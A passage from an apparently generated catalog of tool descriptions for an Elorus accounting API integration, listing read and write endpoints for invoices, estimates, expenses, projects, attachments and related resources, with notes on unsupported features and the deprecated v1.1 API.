numbering sequences -- including the nested detail a listing omits via GET /v1.2/documenttypes/{id}/ GET /api/v1/elorus/v1.2/documenttypes/{id}. Scopes: api. elorus_get_v1_2_documenttypes_by_parent_pk_sequences (read) — List the numbering sequences belonging to one document type -- one of the organization's document kinds, which owns its own numbering sequences -- each with its name and current counter via GET /v1.2/documenttypes/{parent_pk}/sequences/ GET /api/v1/elorus/v1.2/documenttypes/{parent_pk}/sequences. Scopes: api. elorus_get_v1_2_emailtemplates (read) — List this organization's email templates -- the subject and body Elorus uses when it emails a document -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/emailtemplates/ GET /api/v1/elorus/v1.2/emailtemplates. Scopes: api. elorus_get_v1_2_emailtemplates_by_id (read) — Read one email template by id -- the subject and body Elorus uses when it emails a document -- including the nested detail a listing omits via GET /v1.2/emailtemplates/{id}/ GET /api/v1/elorus/v1.2/emailtemplates/{id}. Scopes: api. elorus_get_v1_2_estimates (read) — List this organization's estimates -- a quotation sent to a client before any invoice exists -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/estimates/ GET /api/v1/elorus/v1.2/estimates. Scopes: api. elorus_get_v1_2_estimates_by_id (read) — Read one estimate by id -- a quotation sent to a client before any invoice exists -- including the nested detail a listing omits via GET /v1.2/estimates/{id}/ GET /api/v1/elorus/v1.2/estimates/{id}. Scopes: api. elorus_get_v1_2_estimates_by_id_email (read) — Read the email Elorus WOULD send for one estimate -- a quotation sent to a client before any invoice exists -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.2/estimates/{id}/email/ GET /api/v1/elorus/v1.2/estimates/{id}/email. Scopes: api. elorus_get_v1_2_estimates_by_id_pdf (read) — Render one estimate -- a quotation sent to a client before any invoice exists -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.2/estimates/{id}/pdf/ GET /api/v1/elorus/v1.2/estimates/{id}/pdf. Scopes: api. elorus_get_v1_2_estimates_by_parent_pk_attachments (read) — List the files attached to one estimate -- a quotation sent to a client before any invoice exists -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/estimates/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/estimates/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_estimates_by_parent_pk_attachments_by_id (read) — Read one attachment's record on an estimate -- a quotation sent to a client before any invoice exists -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/estimates/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/estimates/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_estimates_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on an estimate -- a quotation sent to a client before any invoice exists. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/estimates/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/estimates/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_estimates_by_parent_pk_discussions (read) — List the client-facing discussion thread on one estimate -- a quotation sent to a client before any invoice exists. Unlike a note, a discussion message IS visible to the contact on the document's public page via GET /v1.2/estimates/{parent_pk}/discussions/ GET /api/v1/elorus/v1.2/estimates/{parent_pk}/discussions. Scopes: api. elorus_get_v1_2_estimates_by_parent_pk_notes (read) — List the internal notes on one estimate -- a quotation sent to a client before any invoice exists. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/estimates/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/estimates/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_estimates_by_parent_pk_sent_email_messages (read) — List the emails Elorus has already sent for one estimate -- a quotation sent to a client before any invoice exists -- with each message's recipients, timestamp and delivery state. Read-only history: this is where to look before emailing a document a second time via GET /v1.2/estimates/{parent_pk}/sent-email-messages/ GET /api/v1/elorus/v1.2/estimates/{parent_pk}/sent-email-messages. Scopes: api. elorus_get_v1_2_expensecategories (read) — List this organization's expense categories -- the bucket an expense is booked to -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/expensecategories/ GET /api/v1/elorus/v1.2/expensecategories. Scopes: api. elorus_get_v1_2_expensecategories_by_id (read) — Read one expense category by id -- the bucket an expense is booked to -- including the nested detail a listing omits via GET /v1.2/expensecategories/{id}/ GET /api/v1/elorus/v1.2/expensecategories/{id}. Scopes: api. elorus_get_v1_2_expenses (read) — List this organization's expenses -- a cost recorded against the organization, optionally billable to a project -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/expenses/ GET /api/v1/elorus/v1.2/expenses. Scopes: api. elorus_get_v1_2_expenses_by_id (read) — Read one expense by id -- a cost recorded against the organization, optionally billable to a project -- including the nested detail a listing omits via GET /v1.2/expenses/{id}/ GET /api/v1/elorus/v1.2/expenses/{id}. Scopes: api. elorus_get_v1_2_expenses_by_parent_pk_attachments (read) — List the files attached to one expense -- a cost recorded against the organization, optionally billable to a project -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/expenses/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/expenses/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_expenses_by_parent_pk_attachments_by_id (read) — Read one attachment's record on an expense -- a cost recorded against the organization, optionally billable to a project -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/expenses/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/expenses/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_expenses_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on an expense -- a cost recorded against the organization, optionally billable to a project. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/expenses/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/expenses/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_expenses_by_parent_pk_notes (read) — List the internal notes on one expense -- a cost recorded against the organization, optionally billable to a project. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/expenses/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/expenses/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_goodsreceipts (read) — List this organization's goods receipts -- a record of stock received into a warehouse -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/goodsreceipts/ GET /api/v1/elorus/v1.2/goodsreceipts. Scopes: api. elorus_get_v1_2_goodsreceipts_by_id (read) — Read one goods receipt by id -- a record of stock received into a warehouse -- including the nested detail a listing omits via GET /v1.2/goodsreceipts/{id}/ GET /api/v1/elorus/v1.2/goodsreceipts/{id}. Scopes: api. elorus_get_v1_2_goodsreceipts_by_id_email (read) — Read the email Elorus WOULD send for one goods receipt -- a record of stock received into a warehouse -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.2/goodsreceipts/{id}/email/ GET /api/v1/elorus/v1.2/goodsreceipts/{id}/email. Scopes: api. elorus_get_v1_2_goodsreceipts_by_id_pdf (read) — Render one goods receipt -- a record of stock received into a warehouse -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.2/goodsreceipts/{id}/pdf/ GET /api/v1/elorus/v1.2/goodsreceipts/{id}/pdf. Scopes: api. elorus_get_v1_2_goodsreceipts_by_parent_pk_notes (read) — List the internal notes on one goods receipt -- a record of stock received into a warehouse. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/goodsreceipts/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/goodsreceipts/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_goodsreceipts_by_parent_pk_sent_email_messages (read) — List the emails Elorus has already sent for one goods receipt -- a record of stock received into a warehouse -- with each message's recipients, timestamp and delivery state. Read-only history: this is where to look before emailing a document a second time via GET /v1.2/goodsreceipts/{parent_pk}/sent-email-messages/ GET /api/v1/elorus/v1.2/goodsreceipts/{parent_pk}/sent-email-messages. Scopes: api. elorus_get_v1_2_goodsreceiptsequences (read) — List this organization's goods-receipt numbering sequences -- the counter Elorus draws goods-receipt numbers from -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/goodsreceiptsequences/ GET /api/v1/elorus/v1.2/goodsreceiptsequences. Scopes: api. elorus_get_v1_2_invoices (read) — List this organization's invoices -- a sales invoice issued to a client -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/invoices/ GET /api/v1/elorus/v1.2/invoices. Scopes: api. elorus_get_v1_2_invoices_by_id (read) — Read one invoice by id -- a sales invoice issued to a client -- including the nested detail a listing omits via GET /v1.2/invoices/{id}/ GET /api/v1/elorus/v1.2/invoices/{id}. Scopes: api. elorus_get_v1_2_invoices_by_id_email (read) — Read the email Elorus WOULD send for one invoice -- a sales invoice issued to a client -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.2/invoices/{id}/email/ GET /api/v1/elorus/v1.2/invoices/{id}/email. Scopes: api. elorus_get_v1_2_invoices_by_id_pdf (read) — Render one invoice -- a sales invoice issued to a client -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.2/invoices/{id}/pdf/ GET /api/v1/elorus/v1.2/invoices/{id}/pdf. Scopes: api. elorus_get_v1_2_invoices_by_parent_pk_applied_credit (read) — List the credit-note or supplier-credit amounts already applied against one invoice -- a sales invoice issued to a client -- with each application's id and amount via GET /v1.2/invoices/{parent_pk}/applied-credit/ GET /api/v1/elorus/v1.2/invoices/{parent_pk}/applied-credit. Scopes: api. elorus_get_v1_2_invoices_by_parent_pk_attachments (read) — List the files attached to one invoice -- a sales invoice issued to a client -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/invoices/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/invoices/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_invoices_by_parent_pk_attachments_by_id (read) — Read one attachment's record on an invoice -- a sales invoice issued to a client -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/invoices/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/invoices/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_invoices_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on an invoice -- a sales invoice issued to a client. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/invoices/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/invoices/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_invoices_by_parent_pk_discussions (read) — List the client-facing discussion thread on one invoice -- a sales invoice issued to a client. Unlike a note, a discussion message IS visible to the contact on the document's public page via GET /v1.2/invoices/{parent_pk}/discussions/ GET /api/v1/elorus/v1.2/invoices/{parent_pk}/discussions. Scopes: api. elorus_get_v1_2_invoices_by_parent_pk_notes (read) — List the internal notes on one invoice -- a sales invoice issued to a client. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/invoices/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/invoices/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_invoices_by_parent_pk_sent_email_messages (read) — List the emails Elorus has already sent for one invoice -- a sales invoice issued to a client -- with each message's recipients, timestamp and delivery state. Read-only history: this is where to look before emailing a document a second time via GET /v1.2/invoices/{parent_pk}/sent-email-messages/ GET /api/v1/elorus/v1.2/invoices/{parent_pk}/sent-email-messages. Scopes: api. elorus_get_v1_2_organizationbranch (read) — List this organization's organization branches -- a branch or establishment of the organization -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/organizationbranch/ GET /api/v1/elorus/v1.2/organizationbranch. Scopes: api. elorus_get_v1_2_organizationbranch_by_id (read) — Read one organization branch by id -- a branch or establishment of the organization -- including the nested detail a listing omits via GET /v1.2/organizationbranch/{id}/ GET /api/v1/elorus/v1.2/organizationbranch/{id}. Scopes: api. elorus_get_v1_2_paymentgateways (read) — List this organization's payment gateways -- an online payment method configured for this organization -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/paymentgateways/ GET /api/v1/elorus/v1.2/paymentgateways. Scopes: api. elorus_get_v1_2_products (read) — List this organization's products -- a product or service line item, with its price and stock -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/products/ GET /api/v1/elorus/v1.2/products. Scopes: api. elorus_get_v1_2_products_by_id (read) — Read one product by id -- a product or service line item, with its price and stock -- including the nested detail a listing omits via GET /v1.2/products/{id}/ GET /api/v1/elorus/v1.2/products/{id}. Scopes: api. elorus_get_v1_2_products_by_parent_pk_notes (read) — List the internal notes on one product -- a product or service line item, with its price and stock. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/products/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/products/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_products_by_parent_pk_stockadjustments (read) — List the stock adjustments recorded against one product -- a product or service line item, with its price and stock -- each with its warehouse, quantity delta and reason via GET /v1.2/products/{parent_pk}/stockadjustments/ GET /api/v1/elorus/v1.2/products/{parent_pk}/stockadjustments. Scopes: api. elorus_get_v1_2_products_by_parent_pk_stockadjustments_by_id (read) — Read one stock adjustment recorded against a product -- a product or service line item, with its price and stock -- its warehouse, quantity delta and reason via GET /v1.2/products/{parent_pk}/stockadjustments/{id}/ GET /api/v1/elorus/v1.2/products/{parent_pk}/stockadjustments/{id}. Scopes: api. elorus_get_v1_2_projects (read) — List this organization's projects -- a billable engagement that time entries and expenses hang off -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/projects/ GET /api/v1/elorus/v1.2/projects. Scopes: api. elorus_get_v1_2_projects_by_id (read) — Read one project by id -- a billable engagement that time entries and expenses hang off -- including the nested detail a listing omits via GET /v1.2/projects/{id}/ GET /api/v1/elorus/v1.2/projects/{id}. Scopes: api. elorus_get_v1_2_projects_by_parent_pk_attachments (read) — List the files attached to one project -- a billable engagement that time entries and expenses hang off -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/projects/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/projects/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_projects_by_parent_pk_attachments_by_id (read) — Read one attachment's record on a project -- a billable engagement that time entries and expenses hang off -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/projects/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/projects/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_projects_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on a project -- a billable engagement that time entries and expenses hang off. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/projects/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/projects/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_projects_by_parent_pk_discussions (read) — List the client-facing discussion thread on one project -- a billable engagement that time entries and expenses hang off. Unlike a note, a discussion message IS visible to the contact on the document's public page via GET /v1.2/projects/{parent_pk}/discussions/ GET /api/v1/elorus/v1.2/projects/{parent_pk}/discussions. Scopes: api. elorus_get_v1_2_projects_by_parent_pk_notes (read) — List the internal notes on one project -- a billable engagement that time entries and expenses hang off. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/projects/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/projects/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_projects_by_parent_pk_projectextrafees (read) — List the extra fees attached to one project -- a billable engagement that time entries and expenses hang off -- the fixed amounts that are invoiced alongside its tracked time via GET /v1.2/projects/{parent_pk}/projectextrafees/ GET /api/v1/elorus/v1.2/projects/{parent_pk}/projectextrafees. Scopes: api. elorus_get_v1_2_projects_by_parent_pk_projectextrafees_by_id (read) — Read one extra fee attached to a project -- a billable engagement that time entries and expenses hang off -- its description and amount via GET /v1.2/projects/{parent_pk}/projectextrafees/{id}/ GET /api/v1/elorus/v1.2/projects/{parent_pk}/projectextrafees/{id}. Scopes: api. elorus_get_v1_2_recurringinvoices (read) — List this organization's recurring invoices -- the schedule Elorus issues repeating invoices from -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/recurringinvoices/ GET /api/v1/elorus/v1.2/recurringinvoices. Scopes: api. elorus_get_v1_2_recurringinvoices_by_id (read) — Read one recurring invoice by id -- the schedule Elorus issues repeating invoices from -- including the nested detail a listing omits via GET /v1.2/recurringinvoices/{id}/ GET /api/v1/elorus/v1.2/recurringinvoices/{id}. Scopes: api. elorus_get_v1_2_recurringinvoices_by_parent_pk_notes (read) — List the internal notes on one recurring invoice -- the schedule Elorus issues repeating invoices from. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/recurringinvoices/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/recurringinvoices/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_suppliercredits (read) — List this organization's supplier credits -- credit received FROM a supplier, which can then be applied against bills -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` Elorus also filters this listing by tracking category with a `tc_` query parameter, which is NOT offered here: its name embeds the id of one of your own tracking categories, so it is a family of parameter names rather than one parameter, and no fixed tool argument can express it. via GET /v1.2/suppliercredits/ GET /api/v1/elorus/v1.2/suppliercredits. Scopes: api. elorus_get_v1_2_suppliercredits_by_id (read) — Read one supplier credit by id -- credit received FROM a supplier, which can then be applied against bills -- including the nested detail a listing omits via GET /v1.2/suppliercredits/{id}/ GET /api/v1/elorus/v1.2/suppliercredits/{id}. Scopes: api. elorus_get_v1_2_suppliercredits_by_id_email (read) — Read the email Elorus WOULD send for one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- its recipients, subject and body, resolved from the organization's email template. Nothing is sent: this is the dry run for the POST tool on the same path via GET /v1.2/suppliercredits/{id}/email/ GET /api/v1/elorus/v1.2/suppliercredits/{id}/email. Scopes: api. elorus_get_v1_2_suppliercredits_by_id_pdf (read) — Render one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- to PDF using the organization's document template. Elorus answers a redirect to the generated file, which this integration follows because the method is safe via GET /v1.2/suppliercredits/{id}/pdf/ GET /api/v1/elorus/v1.2/suppliercredits/{id}/pdf. Scopes: api. elorus_get_v1_2_suppliercredits_by_parent_pk_applied_credit (read) — List the credit-note or supplier-credit amounts already applied against one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- with each application's id and amount via GET /v1.2/suppliercredits/{parent_pk}/applied-credit/ GET /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/applied-credit. Scopes: api. elorus_get_v1_2_suppliercredits_by_parent_pk_attachments (read) — List the files attached to one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- with each attachment's id, filename and metadata. UPLOADING an attachment is not offered by this integration: Elorus takes it as a multipart body, which the ledger marks `blocked_unsupported` for want of a bounded artifact transport via GET /v1.2/suppliercredits/{parent_pk}/attachments/ GET /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/attachments. Scopes: api. elorus_get_v1_2_suppliercredits_by_parent_pk_attachments_by_id (read) — Read one attachment's record on a supplier credit -- credit received FROM a supplier, which can then be applied against bills -- its filename, size and metadata. The bytes come from the separate file tool via GET /v1.2/suppliercredits/{parent_pk}/attachments/{id}/ GET /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/attachments/{id}. Scopes: api. elorus_get_v1_2_suppliercredits_by_parent_pk_attachments_by_id_file (read) — Fetch the stored FILE of one attachment on a supplier credit -- credit received FROM a supplier, which can then be applied against bills. Elorus answers 307 with a redirect to the file, which this integration follows because the method is safe; the reply is the file's own bytes rather than JSON via GET /v1.2/suppliercredits/{parent_pk}/attachments/{id}/file/ GET /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/attachments/{id}/file. Scopes: api. elorus_get_v1_2_suppliercredits_by_parent_pk_notes (read) — List the internal notes on one supplier credit -- credit received FROM a supplier, which can then be applied against bills. Notes are private to the organization: they are not printed on the document and not sent to the contact via GET /v1.2/suppliercredits/{parent_pk}/notes/ GET /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/notes. Scopes: api. elorus_get_v1_2_suppliercredits_by_parent_pk_sent_email_messages (read) — List the emails Elorus has already sent for one supplier credit -- credit received FROM a supplier, which can then be applied against bills -- with each message's recipients, timestamp and delivery state. Read-only history: this is where to look before emailing a document a second time via GET /v1.2/suppliercredits/{parent_pk}/sent-email-messages/ GET /api/v1/elorus/v1.2/suppliercredits/{parent_pk}/sent-email-messages. Scopes: api. elorus_get_v1_2_tasks (read) — List this organization's tasks -- a billable activity type time entries are recorded against -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/tasks/ GET /api/v1/elorus/v1.2/tasks. Scopes: api. elorus_get_v1_2_tasks_by_id (read) — Read one task by id -- a billable activity type time entries are recorded against -- including the nested detail a listing omits via GET /v1.2/tasks/{id}/ GET /api/v1/elorus/v1.2/tasks/{id}. Scopes: api. elorus_get_v1_2_taxes (read) — List this organization's taxes -- a tax rate available on document lines -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/taxes/ GET /api/v1/elorus/v1.2/taxes. Scopes: api. elorus_get_v1_2_taxes_by_id (read) — Read one tax by id -- a tax rate available on document lines -- including the nested detail a listing omits via GET /v1.2/taxes/{id}/ GET /api/v1/elorus/v1.2/taxes/{id}. Scopes: api. elorus_get_v1_2_templates (read) — List this organization's document templates -- the print/PDF layout a document is rendered with -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/templates/ GET /api/v1/elorus/v1.2/templates. Scopes: api. elorus_get_v1_2_templates_by_id (read) — Read one document template by id -- the print/PDF layout a document is rendered with -- including the nested detail a listing omits via GET /v1.2/templates/{id}/ GET /api/v1/elorus/v1.2/templates/{id}. Scopes: api. elorus_get_v1_2_timeentries (read) — List this organization's time entries -- tracked time on a project, billable or not -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/timeentries/ GET /api/v1/elorus/v1.2/timeentries. Scopes: api. elorus_get_v1_2_timeentries_by_id (read) — Read one time entry by id -- tracked time on a project, billable or not -- including the nested detail a listing omits via GET /v1.2/timeentries/{id}/ GET /api/v1/elorus/v1.2/timeentries/{id}. Scopes: api. elorus_get_v1_2_trackingcategories (read) — List this organization's tracking categories -- a reporting dimension documents can be tagged with -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/trackingcategories/ GET /api/v1/elorus/v1.2/trackingcategories. Scopes: api. elorus_get_v1_2_trackingcategories_by_id (read) — Read one tracking category by id -- a reporting dimension documents can be tagged with -- including the nested detail a listing omits via GET /v1.2/trackingcategories/{id}/ GET /api/v1/elorus/v1.2/trackingcategories/{id}. Scopes: api. elorus_get_v1_2_unitofmeasurement (read) — List this organization's units of measurement -- the unit a product quantity is expressed in -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/unitofmeasurement/ GET /api/v1/elorus/v1.2/unitofmeasurement. Scopes: api. elorus_get_v1_2_unitofmeasurement_by_id (read) — Read one unit of measurement by id -- the unit a product quantity is expressed in -- including the nested detail a listing omits via GET /v1.2/unitofmeasurement/{id}/ GET /api/v1/elorus/v1.2/unitofmeasurement/{id}. Scopes: api. elorus_get_v1_2_users (read) — List this organization's users -- a member of this Elorus organization -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/users/ GET /api/v1/elorus/v1.2/users. Scopes: api. elorus_get_v1_2_userteams (read) — List this organization's user teams -- a group of this organization's users -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/userteams/ GET /api/v1/elorus/v1.2/userteams. Scopes: api. elorus_get_v1_2_warehouse (read) — List this organization's warehouses -- a stock location goods receipts and adjustments move stock through -- with the filtering, search, ordering and page-size query parameters the contract declares. Returns one page; walk it with `page` and `page_size` via GET /v1.2/warehouse/ GET /api/v1/elorus/v1.2/warehouse. Scopes: api. elorus_get_v1_2_warehouse_by_id (read) — Read one warehouse by id -- a stock location goods receipts and adjustments move stock through -- including the nested detail a listing omits via GET /v1.2/warehouse/{id}/ GET /api/v1/elorus/v1.2/warehouse/{id}. Scopes: api. elorus_patch_v1_1_bills_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Update one bill in place -- a purchase invoice a supplier issued to this organization -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.1/bills/{id}/ PATCH /api/v1/elorus/v1.1/bills/{id}. Scopes: api. elorus_patch_v1_1_creditnotes_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Update one credit note in place -- credit issued TO a client, which can then be applied against invoices -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.1/creditnotes/{id}/ PATCH /api/v1/elorus/v1.1/creditnotes/{id}. Scopes: api. elorus_patch_v1_1_estimates_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Update one estimate in place -- a quotation sent to a client before any invoice exists -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.1/estimates/{id}/ PATCH /api/v1/elorus/v1.1/estimates/{id}. Scopes: api. elorus_patch_v1_1_invoices_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Update one invoice in place -- a sales invoice issued to a client -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.1/invoices/{id}/ PATCH /api/v1/elorus/v1.1/invoices/{id}. Scopes: api. elorus_patch_v1_1_suppliercredits_by_id (write) — ON THE DEPRECATED v1.1 API: Elorus' v1.2 announcement put v1.1 in maintenance mode until removal on 2026-04-30 while the live v1.1 reference banner says 2026-12-31 -- the two sealed sources disagree and the later date looks like an extension -- so prefer the v1.2 tool for the same resource where one exists. Update one supplier credit in place -- credit received FROM a supplier, which can then be applied against bills -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.1/suppliercredits/{id}/ PATCH /api/v1/elorus/v1.1/suppliercredits/{id}. Scopes: api. elorus_patch_v1_2_bills_by_id (write) — Update one bill in place -- a purchase invoice a supplier issued to this organization -- sending only the fields to change. This is the safe partner of the PUT tool, which replaces the whole document via PATCH /v1.2/bills/{id}/ PATCH /api/v1/elorus/v1.2/bills/{id}. Scopes: api. elorus_patch_v1_2_bills_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on a bill -- a purchase invoice a supplier issued to this organization -- sending only the fields to change. The stored file itself is not replaced via PATCH /v1.2/bills/{parent_pk}/attachments/{id}/ PATCH /api/v1/elorus/v1.2/bills/{parent_pk}/attachments/{id}. Scopes: api. elorus_patch_v1_2_cashpayments_by_parent_pk_attachments_by_id (write) — Change the metadata of one attachment on a cash payment -- money paid OUT, against a bill or a supplier -- sending only the fields to change. The stored file itself is not replaced via PATCH 